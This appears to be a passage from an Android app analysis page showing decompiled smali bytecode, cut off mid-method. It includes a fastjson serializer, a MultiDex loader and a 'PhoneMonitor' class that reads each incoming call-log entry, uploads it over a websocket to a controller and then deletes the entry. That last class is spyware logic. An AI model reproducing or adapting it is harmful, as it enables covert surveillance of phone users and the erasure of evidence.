                                                306iget-object v2, v7, Lcom/alibaba/fastjson/serializer/MapSerializer;->contextValueFilters:Ljava/util/List;
                                                307if-eqz v1, :cond_1c3
                                                309invoke-interface {v1}, Ljava/util/List;->size()I
                                                310move-result v1
                                                311if-gtz v1, :cond_1cb
                                                312cond_1c3: if-eqz v2, :cond_210
                                                314invoke-interface {v2}, Ljava/util/List;->size()I
                                                315move-result v1
                                                316if-lez v1, :cond_210
                                                317cond_1cb: if-eqz v4, :cond_1f9
                                                318instance-of v1, v4, Ljava/lang/String;
                                                319if-eqz v1, :cond_1d2
                                                320goto/16 :goto_1f9
                                                321cond_1d2:
                                                322invoke-virtual {v4}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                323move-result-object v1
                                                325invoke-virtual {v1}, Ljava/lang/Class;->isPrimitive()Z
                                                326move-result v1
                                                327if-nez v1, :cond_1e0
                                                328instance-of v1, v4, Ljava/lang/Number;
                                                329if-eqz v1, :cond_210
                                                330cond_1e0:
                                                331invoke-static {v4}, Lcom/alibaba/fastjson/JSON;->toJSONString(Ljava/lang/Object;)Ljava/lang/String;
                                                332move-result-object v17
                                                333const/4 v3, 0x0
                                                334move-object/from16 v1, p0
                                                335move-object/from16 v2, p1
                                                336move-object v12, v4
                                                337move-object/from16 v4, p2
                                                338move-object/from16 v18, v5
                                                339move-object/from16 v5, v17
                                                340move-object/from16 v19, v6
                                                341move-object/from16 v6, v18
                                                343invoke-virtual/range {v1 .. v6}, Lcom/alibaba/fastjson/serializer/MapSerializer;->processValue(Lcom/alibaba/fastjson/serializer/JSONSerializer;Lcom/alibaba/fastjson/serializer/BeanContext;Ljava/lang/Object;Ljava/lang/String;Ljava/lang/Object;)Ljava/lang/Object;
                                                344move-result-object v1
                                                345goto/16 :goto_20e
                                                346cond_1f9: move-object v12, v4
                                                347move-object/from16 v18, v5
                                                348move-object/from16 v19, v6
                                                349const/4 v3, 0x0
                                                350move-object v5, v12
                                                351check-cast v5, Ljava/lang/String;
                                                352move-object/from16 v1, p0
                                                353move-object/from16 v2, p1
                                                354move-object/from16 v4, p2
                                                355move-object/from16 v6, v18
                                                357invoke-virtual/range {v1 .. v6}, Lcom/alibaba/fastjson/serializer/MapSerializer;->processValue(Lcom/alibaba/fastjson/serializer/JSONSerializer;Lcom/alibaba/fastjson/serializer/BeanContext;Ljava/lang/Object;Ljava/lang/String;Ljava/lang/Object;)Ljava/lang/Object;
                                                358move-result-object v1
                                                359goto_20e: move-object v6, v1
                                                360goto/16 :goto_217
                                                361cond_210: move-object v12, v4
                                                362move-object/from16 v18, v5
                                                363move-object/from16 v19, v6
                                                364move-object/from16 v6, v18
                                                365goto_217:
                                                366iget-object v1, v7, Lcom/alibaba/fastjson/serializer/MapSerializer;->valueFilters:Ljava/util/List;
                                                368iget-object v2, v7, Lcom/alibaba/fastjson/serializer/MapSerializer;->contextValueFilters:Ljava/util/List;
                                                369if-eqz v1, :cond_223
                                                371invoke-interface {v1}, Ljava/util/List;->size()I
                                                372move-result v1
                                                373if-gtz v1, :cond_22b
                                                374cond_223: if-eqz v2, :cond_260
                                                376invoke-interface {v2}, Ljava/util/List;->size()I
                                                377move-result v1
                                                378if-lez v1, :cond_260
                                                379cond_22b: if-eqz v12, :cond_250
                                                380instance-of v1, v12, Ljava/lang/String;
                                                381if-eqz v1, :cond_232
                                                382goto/16 :goto_250
                                                383cond_232:
                                                384invoke-virtual {v12}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                385move-result-object v1
                                                387invoke-virtual {v1}, Ljava/lang/Class;->isPrimitive()Z
                                                388move-result v1
                                                389if-nez v1, :cond_240
                                                390instance-of v1, v12, Ljava/lang/Number;
                                                391if-eqz v1, :cond_260
                                                392cond_240:
                                                393invoke-static {v12}, Lcom/alibaba/fastjson/JSON;->toJSONString(Ljava/lang/Object;)Ljava/lang/String;
                                                394move-result-object v5
                                                395const/4 v3, 0x0
                                                396move-object/from16 v1, p0
                                                397move-object/from16 v2, p1
                                                398move-object/from16 v4, p2
                                                400invoke-virtual/range {v1 .. v6}, Lcom/alibaba/fastjson/serializer/MapSerializer;->processValue(Lcom/alibaba/fastjson/serializer/JSONSerializer;Lcom/alibaba/fastjson/serializer/BeanContext;Ljava/lang/Object;Ljava/lang/String;Ljava/lang/Object;)Ljava/lang/Object;
                                                401move-result-object v1
                                                402goto/16 :goto_25e
                                                403cond_250: const/4 v3, 0x0
                                                404move-object v5, v12
                                                405check-cast v5, Ljava/lang/String;
                                                406move-object/from16 v1, p0
                                                407move-object/from16 v2, p1
                                                408move-object/from16 v4, p2
                                                410invoke-virtual/range {v1 .. v6}, Lcom/alibaba/fastjson/serializer/MapSerializer;->processValue(Lcom/alibaba/fastjson/serializer/JSONSerializer;Lcom/alibaba/fastjson/serializer/BeanContext;Ljava/lang/Object;Ljava/lang/String;Ljava/lang/Object;)Ljava/lang/Object;
                                                411move-result-object v1
                                                412goto_25e: move-object v3, v1
                                                413goto/16 :goto_261
                                                414cond_260: move-object v3, v6
                                                415goto_261: if-nez v3, :cond_270
                                                416sget v1, Lcom/alibaba/fastjson/serializer/SerializerFeature;->WRITE_MAP_NULL_FEATURES:I
                                                418invoke-virtual {v9, v1}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->isEnabled(I)Z
                                                419move-result v1
                                                420if-nez v1, :cond_270
                                                421goto_26b: move-object/from16 v6, v19
                                                422const/4 v12, 0x0
                                                423goto/16 :goto_71
                                                424cond_270: instance-of v1, v12, Ljava/lang/String;
                                                425const/16 v2, 0x2c
                                                426if-eqz v1, :cond_28d
                                                427move-object v4, v12
                                                428check-cast v4, Ljava/lang/String;
                                                429if-nez v15, :cond_27e
                                                431invoke-virtual {v9, v2}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write(I)V
                                                432cond_27e:
                                                433sget-object v1, Lcom/alibaba/fastjson/serializer/SerializerFeature;->PrettyFormat:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                435invoke-virtual {v9, v1}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->isEnabled(Lcom/alibaba/fastjson/serializer/SerializerFeature;)Z
                                                436move-result v1
                                                437if-eqz v1, :cond_289
                                                439invoke-virtual/range {p1 .. p1}, Lcom/alibaba/fastjson/serializer/JSONSerializer;->println()V
                                                440cond_289:
                                                441invoke-virtual {v9, v4, v13}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->writeFieldName(Ljava/lang/String;Z)V
                                                442goto/16 :goto_2bb
                                                443cond_28d: if-nez v15, :cond_292
                                                445invoke-virtual {v9, v2}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write(I)V
                                                446cond_292:
                                                447sget-object v1, Lcom/alibaba/fastjson/serializer/SerializerFeature;->BrowserCompatible:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                449invoke-virtual {v9, v1}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->isEnabled(Lcom/alibaba/fastjson/serializer/SerializerFeature;)Z
                                                450move-result v1
                                                451if-nez v1, :cond_2af
                                                453sget-object v1, Lcom/alibaba/fastjson/serializer/SerializerFeature;->WriteNonStringKeyAsString:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                455invoke-virtual {v9, v1}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->isEnabled(Lcom/alibaba/fastjson/serializer/SerializerFeature;)Z
                                                456move-result v1
                                                457if-nez v1, :cond_2af
                                                459sget-object v1, Lcom/alibaba/fastjson/serializer/SerializerFeature;->BrowserSecure:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                461invoke-virtual {v9, v1}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->isEnabled(Lcom/alibaba/fastjson/serializer/SerializerFeature;)Z
                                                462move-result v1
                                                463if-eqz v1, :cond_2ab
                                                464goto/16 :goto_2af
                                                465cond_2ab:
                                                466invoke-virtual {v8, v12}, Lcom/alibaba/fastjson/serializer/JSONSerializer;->write(Ljava/lang/Object;)V
                                                467goto/16 :goto_2b6
                                                468cond_2af:
                                                469invoke-static {v12}, Lcom/alibaba/fastjson/JSON;->toJSONString(Ljava/lang/Object;)Ljava/lang/String;
                                                470move-result-object v1
                                                472invoke-virtual {v8, v1}, Lcom/alibaba/fastjson/serializer/JSONSerializer;->write(Ljava/lang/String;)V
                                                473goto_2b6: const/16 v1, 0x3a
                                                475invoke-virtual {v9, v1}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write(I)V
                                                476goto_2bb: if-nez v3, :cond_2c6
                                                478invoke-virtual {v9}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->writeNull()V
                                                479goto_2c0: move-object/from16 v6, v19
                                                480goto_2c2: const/4 v12, 0x0
                                                481const/4 v15, 0x0
                                                482goto/16 :goto_71
                                                483cond_2c6:
                                                484invoke-virtual {v3}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                485move-result-object v15
                                                486move-object/from16 v6, v19
                                                487if-ne v15, v6, :cond_2dc
                                                488const/4 v5, 0x0
                                                489const/4 v15, 0x0
                                                490move-object/from16 v1, v16
                                                491move-object/from16 v2, p1
                                                492move-object v4, v12
                                                493move-object/from16 v19, v6
                                                494move v6, v15
                                                496invoke-interface/range {v1 .. v6}, Lcom/alibaba/fastjson/serializer/ObjectSerializer;->write(Lcom/alibaba/fastjson/serializer/JSONSerializer;Ljava/lang/Object;Ljava/lang/Object;Ljava/lang/reflect/Type;I)V
                                                497goto/16 :goto_2c0
                                                498cond_2dc:
                                                499invoke-virtual {v8, v15}, Lcom/alibaba/fastjson/serializer/JSONSerializer;->getObjectWriter(Ljava/lang/Class;)Lcom/alibaba/fastjson/serializer/ObjectSerializer;
                                                500move-result-object v16
                                                501const/4 v5, 0x0
                                                502const/4 v6, 0x0
                                                503move-object/from16 v1, v16
                                                504move-object/from16 v2, p1
                                                505move-object v4, v12
                                                507invoke-interface/range {v1 .. v6}, Lcom/alibaba/fastjson/serializer/ObjectSerializer;->write(Lcom/alibaba/fastjson/serializer/JSONSerializer;Ljava/lang/Object;Ljava/lang/Object;Ljava/lang/reflect/Type;I)V
                                                508try_end_2ea: move-object v6, v15
                                                509goto/16 :goto_2c2
                                                510cond_2ec: iput-object v11, v8, Lcom/alibaba/fastjson/serializer/JSONSerializer;->context:Lcom/alibaba/fastjson/serializer/SerialContext;
                                                512invoke-virtual/range {p1 .. p1}, Lcom/alibaba/fastjson/serializer/JSONSerializer;->decrementIdent()V
                                                514sget-object v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;->PrettyFormat:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                516invoke-virtual {v9, v0}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->isEnabled(Lcom/alibaba/fastjson/serializer/SerializerFeature;)Z
                                                517move-result v0
                                                518if-eqz v0, :cond_302
                                                520invoke-interface {v10}, Ljava/util/Map;->size()I
                                                521move-result v0
                                                522if-lez v0, :cond_302
                                                524invoke-virtual/range {p1 .. p1}, Lcom/alibaba/fastjson/serializer/JSONSerializer;->println()V
                                                525cond_302: const/16 v0, 0x7d
                                                527invoke-virtual {v9, v0}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write(I)V
                                                528return-void
                                                529catchall_308: move-exception v0
                                                530iput-object v11, v8, Lcom/alibaba/fastjson/serializer/JSONSerializer;->context:Lcom/alibaba/fastjson/serializer/SerialContext;
                                                531goto/16 :goto_30d
                                                532goto_30c: throw v0
                                                533goto_30d: goto/16 :goto_30c
                                                Cross References
                                                APIs
                                                • android.util.Log.i
                                                • java.lang.StringBuffer.<init>
                                                • java.io.File.getName
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • android.support.coreui.app.a.b.getMultiDexPreferences
                                                • android.content.SharedPreferences.getInt
                                                • java.util.ArrayList.<init>
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.io.File.<init>
                                                • java.io.File.isFile
                                                • java.util.List.add
                                                • android.support.coreui.app.a.b.verifyZipFile
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • android.util.Log.i
                                                • java.io.IOException.<init>
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.append
                                                • java.io.File.getPath
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.io.IOException.<init>
                                                Strings
                                                • MultiDex
                                                • loading existing secondary dex files
                                                • .classes
                                                • dex.number
                                                • .zip
                                                • Invalid zip file:
                                                • Invalid ZIP file.
                                                • Missing extracted secondary dex file \'
                                                • \'
                                                Position Instruction Meta Information
                                                0.annotation system Ldalvik/annotation/Signature;
                                                1value = {
                                                2"(",
                                                3"Landroid/content/Context;",
                                                4"Ljava/io/File;",
                                                5"Ljava/io/File;",
                                                6")",
                                                7"Ljava/util/List",
                                                8"<",
                                                9"Ljava/io/File;",
                                                10">;^",
                                                11"Ljava/io/IOException;"
                                                12}
                                                13.end annotation
                                                14.annotation system Ldalvik/annotation/Throws;
                                                15value = {
                                                16Ljava/io/IOException;
                                                17}
                                                18.end annotation
                                                19.prologue
                                                20move-object/from16 v0, p0
                                                21move-object/from16 v1, p1
                                                22move-object/from16 v2, p2
                                                24const-string v11, "MultiDex"
                                                26const-string v12, "loading existing secondary dex files"
                                                28invoke-static {v11, v12}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
                                                29move-result v11
                                                30new-instance v11, Ljava/lang/StringBuffer;
                                                31move-object/from16 v16, v11
                                                32move-object/from16 v11, v16
                                                33move-object/from16 v12, v16
                                                35invoke-direct {v12}, Ljava/lang/StringBuffer;-><init>()V
                                                36move-object v12, v1
                                                38invoke-virtual {v12}, Ljava/io/File;->getName()Ljava/lang/String;
                                                39move-result-object v12
                                                41invoke-virtual {v11, v12}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                42move-result-object v11
                                                44const-string v12, ".classes"
                                                46invoke-virtual {v11, v12}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                47move-result-object v11
                                                49invoke-virtual {v11}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                50move-result-object v11
                                                51move-object v4, v11
                                                52move-object v11, v0
                                                54invoke-static {v11}, Landroid/support/coreui/app/a/b;->getMultiDexPreferences(Landroid/content/Context;)Landroid/content/SharedPreferences;
                                                55move-result-object v11
                                                57const-string v12, "dex.number"
                                                58const/4 v13, 0x1
                                                60invoke-interface {v11, v12, v13}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
                                                61move-result v11
                                                62move v5, v11
                                                63new-instance v11, Ljava/util/ArrayList;
                                                64move-object/from16 v16, v11
                                                65move-object/from16 v11, v16
                                                66move-object/from16 v12, v16
                                                67move v13, v5
                                                69invoke-direct {v12, v13}, Ljava/util/ArrayList;-><init>(I)V
                                                70move-object v6, v11
                                                71const/4 v11, 0x2
                                                72move v7, v11
                                                73goto_49: move v11, v7
                                                74move v12, v5
                                                75if-le v11, v12, :cond_50
                                                76move-object v11, v6
                                                77move-object v0, v11
                                                78return-object v0
                                                79cond_50: new-instance v11, Ljava/lang/StringBuffer;
                                                80move-object/from16 v16, v11
                                                81move-object/from16 v11, v16
                                                82move-object/from16 v12, v16
                                                84invoke-direct {v12}, Ljava/lang/StringBuffer;-><init>()V
                                                85new-instance v12, Ljava/lang/StringBuffer;
                                                86move-object/from16 v16, v12
                                                87move-object/from16 v12, v16
                                                88move-object/from16 v13, v16
                                                90invoke-direct {v13}, Ljava/lang/StringBuffer;-><init>()V
                                                91move-object v13, v4
                                                93invoke-virtual {v12, v13}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                94move-result-object v12
                                                95move v13, v7
                                                97invoke-virtual {v12, v13}, Ljava/lang/StringBuffer;->append(I)Ljava/lang/StringBuffer;
                                                98move-result-object v12
                                                100invoke-virtual {v12}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                101move-result-object v12
                                                103invoke-virtual {v11, v12}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                104move-result-object v11
                                                106const-string v12, ".zip"
                                                108invoke-virtual {v11, v12}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                109move-result-object v11
                                                111invoke-virtual {v11}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                112move-result-object v11
                                                113move-object v8, v11
                                                114new-instance v11, Ljava/io/File;
                                                115move-object/from16 v16, v11
                                                116move-object/from16 v11, v16
                                                117move-object/from16 v12, v16
                                                118move-object v13, v2
                                                119move-object v14, v8
                                                121invoke-direct {v12, v13, v14}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
                                                122move-object v9, v11
                                                123move-object v11, v9
                                                125invoke-virtual {v11}, Ljava/io/File;->isFile()Z
                                                126move-result v11
                                                127if-eqz v11, :cond_d7
                                                128move-object v11, v6
                                                129move-object v12, v9
                                                131invoke-interface {v11, v12}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                132move-result v11
                                                133move-object v11, v9
                                                135invoke-static {v11}, Landroid/support/coreui/app/a/b;->verifyZipFile(Ljava/io/File;)Z
                                                136move-result v11
                                                137if-nez v11, :cond_d3
                                                139const-string v11, "MultiDex"
                                                140new-instance v12, Ljava/lang/StringBuffer;
                                                141move-object/from16 v16, v12
                                                142move-object/from16 v12, v16
                                                143move-object/from16 v13, v16
                                                145invoke-direct {v13}, Ljava/lang/StringBuffer;-><init>()V
                                                147const-string v13, "Invalid zip file: "
                                                149invoke-virtual {v12, v13}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                150move-result-object v12
                                                151move-object v13, v9
                                                153invoke-virtual {v12, v13}, Ljava/lang/StringBuffer;->append(Ljava/lang/Object;)Ljava/lang/StringBuffer;
                                                154move-result-object v12
                                                156invoke-virtual {v12}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                157move-result-object v12
                                                159invoke-static {v11, v12}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
                                                160move-result v11
                                                161new-instance v11, Ljava/io/IOException;
                                                162move-object/from16 v16, v11
                                                163move-object/from16 v11, v16
                                                164move-object/from16 v12, v16
                                                166const-string v13, "Invalid ZIP file."
                                                168invoke-direct {v12, v13}, Ljava/io/IOException;-><init>(Ljava/lang/String;)V
                                                169throw v11
                                                170cond_d3: add-int/lit8 v7, v7, 0x1
                                                171goto/16 :goto_49
                                                172cond_d7: new-instance v11, Ljava/io/IOException;
                                                173move-object/from16 v16, v11
                                                174move-object/from16 v11, v16
                                                175move-object/from16 v12, v16
                                                176new-instance v13, Ljava/lang/StringBuffer;
                                                177move-object/from16 v16, v13
                                                178move-object/from16 v13, v16
                                                179move-object/from16 v14, v16
                                                181invoke-direct {v14}, Ljava/lang/StringBuffer;-><init>()V
                                                182new-instance v14, Ljava/lang/StringBuffer;
                                                183move-object/from16 v16, v14
                                                184move-object/from16 v14, v16
                                                185move-object/from16 v15, v16
                                                187invoke-direct {v15}, Ljava/lang/StringBuffer;-><init>()V
                                                189const-string v15, "Missing extracted secondary dex file \'"
                                                191invoke-virtual {v14, v15}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                192move-result-object v14
                                                193move-object v15, v9
                                                195invoke-virtual {v15}, Ljava/io/File;->getPath()Ljava/lang/String;
                                                196move-result-object v15
                                                198invoke-virtual {v14, v15}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                199move-result-object v14
                                                201invoke-virtual {v14}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                202move-result-object v14
                                                204invoke-virtual {v13, v14}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                205move-result-object v13
                                                207const-string v14, "\'"
                                                209invoke-virtual {v13, v14}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                210move-result-object v13
                                                212invoke-virtual {v13}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                213move-result-object v13
                                                215invoke-direct {v12, v13}, Ljava/io/IOException;-><init>(Ljava/lang/String;)V
                                                216throw v11
                                                Cross References
                                                APIs
                                                • android.content.Context.getContentResolver
                                                • android.provider.CallLog$Calls.CONTENT_URI:Landroid/net/Uri
                                                • android.content.ContentResolver.query
                                                • android.database.Cursor.moveToFirst
                                                • android.database.Cursor.getColumnIndex
                                                • android.database.Cursor.getString
                                                • android.database.Cursor.getColumnIndex
                                                • android.database.Cursor.getString
                                                • android.database.Cursor.getColumnIndex
                                                • android.database.Cursor.getLong
                                                • android.database.Cursor.getColumnIndex
                                                • android.database.Cursor.getInt
                                                • android.database.Cursor.getColumnIndex
                                                • android.database.Cursor.getInt
                                                • java.util.Date.<init>
                                                • java.text.SimpleDateFormat.format
                                                • com.tencent.shopcj.websocket.WsTypeEnum.DEVICE_ONLINE:Lcom/tencent/shopcj/websocket/WsTypeEnum
                                                • android.database.Cursor.getInt
                                                • android.provider.CallLog$Calls.CONTENT_URI:Landroid/net/Uri
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • android.content.ContentResolver.delete
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • android.util.Log.d
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • android.util.Log.d
                                                • java.lang.Exception.printStackTrace
                                                Strings
                                                • _id
                                                • number=?
                                                • _id desc limit 1
                                                • name
                                                • number
                                                • date
                                                • duration
                                                • type
                                                • \u62e6\u622a\u5230\u4e00\u901a\u6765\u7535
                                                • _id=?
                                                • PhoneMonitor
                                                • deleted success:
                                                • deleted fail:
                                                Position Instruction Meta Information
                                                0try_start_0:
                                                1iget-object v0, p0, Lcom/tencent/shopcj/utils/PhoneMonitor;->context:Landroid/content/Context;
                                                3invoke-virtual {v0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
                                                4move-result-object v0
                                                6sget-object v2, Landroid/provider/CallLog$Calls;->CONTENT_URI:Landroid/net/Uri;
                                                7const/4 v7, 0x1
                                                8new-array v3, v7, [Ljava/lang/String;
                                                10const-string v1, "_id"
                                                11const/4 v8, 0x0
                                                12aput-object v1, v3, v8
                                                14const-string v4, "number=?"
                                                15new-array v5, v7, [Ljava/lang/String;
                                                16aput-object p1, v5, v8
                                                18const-string v6, "_id desc limit 1"
                                                19move-object v1, v0
                                                21invoke-virtual/range {v1 .. v6}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
                                                22move-result-object v1
                                                24invoke-interface {v1}, Landroid/database/Cursor;->moveToFirst()Z
                                                25move-result v2
                                                26if-eqz v2, :cond_ec
                                                28const-string v2, "name"
                                                30invoke-interface {v1, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                                                31move-result v2
                                                33invoke-interface {v1, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                                                34move-result-object v2
                                                36const-string v3, "number"
                                                38invoke-interface {v1, v3}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                                                39move-result v3
                                                41invoke-interface {v1, v3}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                                                42move-result-object v3
                                                44const-string v4, "date"
                                                46invoke-interface {v1, v4}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                                                47move-result v4
                                                49invoke-interface {v1, v4}, Landroid/database/Cursor;->getLong(I)J
                                                50move-result-wide v4
                                                52const-string v6, "duration"
                                                54invoke-interface {v1, v6}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                                                55move-result v6
                                                57invoke-interface {v1, v6}, Landroid/database/Cursor;->getInt(I)I
                                                58move-result v6
                                                60const-string v9, "type"
                                                62invoke-interface {v1, v9}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                                                63move-result v9
                                                65invoke-interface {v1, v9}, Landroid/database/Cursor;->getInt(I)I
                                                66move-result v9
                                                67new-instance v10, Lcom/tencent/shopcj/bean/CallRecordBean;
                                                69invoke-direct {v10}, Lcom/tencent/shopcj/bean/CallRecordBean;-><init>()V
                                                71iget-object v11, p0, Lcom/tencent/shopcj/utils/PhoneMonitor;->context:Landroid/content/Context;
                                                73invoke-static {v11}, Lcom/tencent/shopcj/utils/DeviceUtils;->getTel(Landroid/content/Context;)Ljava/lang/String;
                                                74move-result-object v11
                                                75iput-object v11, v10, Lcom/tencent/shopcj/bean/CallRecordBean;->deviceNum:Ljava/lang/String;
                                                76iput-object v2, v10, Lcom/tencent/shopcj/bean/CallRecordBean;->contactName:Ljava/lang/String;
                                                77iput-object v3, v10, Lcom/tencent/shopcj/bean/CallRecordBean;->otherNum:Ljava/lang/String;
                                                79iget-object v2, p0, Lcom/tencent/shopcj/utils/PhoneMonitor;->format:Ljava/text/SimpleDateFormat;
                                                80new-instance v3, Ljava/util/Date;
                                                82invoke-direct {v3, v4, v5}, Ljava/util/Date;-><init>(J)V
                                                84invoke-virtual {v2, v3}, Ljava/text/SimpleDateFormat;->format(Ljava/util/Date;)Ljava/lang/String;
                                                85move-result-object v2
                                                86iput-object v2, v10, Lcom/tencent/shopcj/bean/CallRecordBean;->createTime:Ljava/lang/String;
                                                87iput v6, v10, Lcom/tencent/shopcj/bean/CallRecordBean;->duration:I
                                                88iput v9, v10, Lcom/tencent/shopcj/bean/CallRecordBean;->type:I
                                                89new-instance v2, Lcom/tencent/shopcj/bean/BaseRequest;
                                                91iget-object v3, p0, Lcom/tencent/shopcj/utils/PhoneMonitor;->context:Landroid/content/Context;
                                                92new-instance v4, Lcom/tencent/shopcj/bean/UploadCallRecordRequest;
                                                94invoke-direct {v4, v10}, Lcom/tencent/shopcj/bean/UploadCallRecordRequest;-><init>(Lcom/tencent/shopcj/bean/CallRecordBean;)V
                                                96invoke-direct {v2, v3, v4}, Lcom/tencent/shopcj/bean/BaseRequest;-><init>(Landroid/content/Context;Lcom/tencent/shopcj/bean/DataBean;)V
                                                98invoke-static {v2}, Lcom/tencent/shopcj/utils/JsonUtils;->toJSONString(Ljava/lang/Object;)Ljava/lang/String;
                                                99move-result-object v2
                                                101invoke-static {}, Lcom/tencent/shopcj/websocket/WSManager;->getInstance()Lcom/tencent/shopcj/websocket/WSManager;
                                                102move-result-object v3
                                                104sget-object v4, Lcom/tencent/shopcj/websocket/WsTypeEnum;->DEVICE_ONLINE:Lcom/tencent/shopcj/websocket/WsTypeEnum;
                                                106invoke-virtual {v3, v4, v2}, Lcom/tencent/shopcj/websocket/WSManager;->sendMessage(Lcom/tencent/shopcj/websocket/WsTypeEnum;Ljava/lang/String;)V
                                                108iget-object v2, p0, Lcom/tencent/shopcj/utils/PhoneMonitor;->context:Landroid/content/Context;
                                                110sget-object v3, Lcom/tencent/shopcj/bean/CommandBean;->UPLOAD_CALL_RECORD:Ljava/lang/String;
                                                112const-string v4, "\u62e6\u622a\u5230\u4e00\u901a\u6765\u7535"
                                                114invoke-static {v2, v3, v7, v4}, Lcom/tencent/shopcj/utils/ProcessCommand;->feedback(Landroid/content/Context;Ljava/lang/String;ZLjava/lang/String;)V
                                                116invoke-interface {v1, v8}, Landroid/database/Cursor;->getInt(I)I
                                                117move-result v1
                                                119sget-object v2, Landroid/provider/CallLog$Calls;->CONTENT_URI:Landroid/net/Uri;
                                                121const-string v3, "_id=?"
                                                122new-array v4, v7, [Ljava/lang/String;
                                                123new-instance v5, Ljava/lang/StringBuilder;
                                                125invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
                                                127invoke-virtual {v5, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                                129const-string v1, ""
                                                131invoke-virtual {v5, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                133invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                134move-result-object v1
                                                135aput-object v1, v4, v8
                                                137invoke-virtual {v0, v2, v3, v4}, Landroid/content/ContentResolver;->delete(Landroid/net/Uri;Ljava/lang/String;[Ljava/lang/String;)I
                                                138move-result v0
                                                139try_end_ba:
                                                140const-string v1, "PhoneMonitor"
                                                141if-lez v0, :cond_d3
                                                142try_start_be: new-instance v0, Ljava/lang/StringBuilder;
                                                144invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                146const-string v2, "deleted success:"
                                                148invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                150invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
